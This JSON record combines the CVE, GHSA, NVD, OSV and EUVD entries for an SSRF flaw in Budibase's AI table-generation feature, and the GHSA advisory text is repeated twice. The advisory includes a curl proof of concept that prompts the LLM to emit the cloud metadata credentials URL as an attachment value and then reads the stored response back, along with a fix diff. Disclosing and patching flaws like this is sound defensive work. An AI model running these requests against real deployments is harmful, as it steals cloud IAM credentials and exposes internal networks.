{"id":"CVE-2026-73307","aliases":["EUVD-2026-57430","GHSA-hfhx-w8p8-4hc7"],"status":"published","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.","severity":{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00427,"percentile":0.37261,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-918"],"published":"2026-07-24T21:44:44Z","modified":"2026-10-28T02:30:42Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Budibase/budibase/pull/18866","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Budibase/budibase/commit/fc8161e739bdc5513c4314282251e327e7fe339f","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.39.4","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hfhx-w8p8-4hc7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73307.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73307","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73307","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.","status":"published","published":"2026-08-12T18:59:52.011Z","modified":"2026-08-12T19:46:08.763Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:43:33.766176Z"}],"euvd":[{"id":"EUVD-2026-57430","description":"Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.","status":"published","published":"2026-08-12T18:59:52Z","modified":"2026-08-12T19:46:08Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:57.602969Z"}],"ghsa":[{"id":"GHSA-hfhx-w8p8-4hc7","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n\u003c= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record\u003cstring, any\u003e,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise\u003cResponse\u003e {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects \u003c= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d '{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=\u003ctable_id\u003e\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```","status":"published","published":"2026-07-24T21:44:44Z","modified":"2026-08-12T19:00:00Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:58.888637Z"}],"nvd":[{"id":"CVE-2026-73307","description":"Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.","status":"published","published":"2026-08-12T20:17:54.413Z","modified":"2026-09-08T20:56:50.52Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:37.217486Z"}],"osv":[{"id":"CVE-2026-73307","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.","status":"published","published":"2026-08-12T18:59:52.011Z","modified":"2026-10-28T02:30:42.7999067Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-hfhx-w8p8-4hc7","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n\u003c= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record\u003cstring, any\u003e,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise\u003cResponse\u003e {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects \u003c= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d '{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=\u003ctable_id\u003e\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```","status":"published","published":"2026-07-24T21:44:44Z","modified":"2026-08-12T19:26:07.520072Z","cvss":[{"version":"4.0","score":4.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}
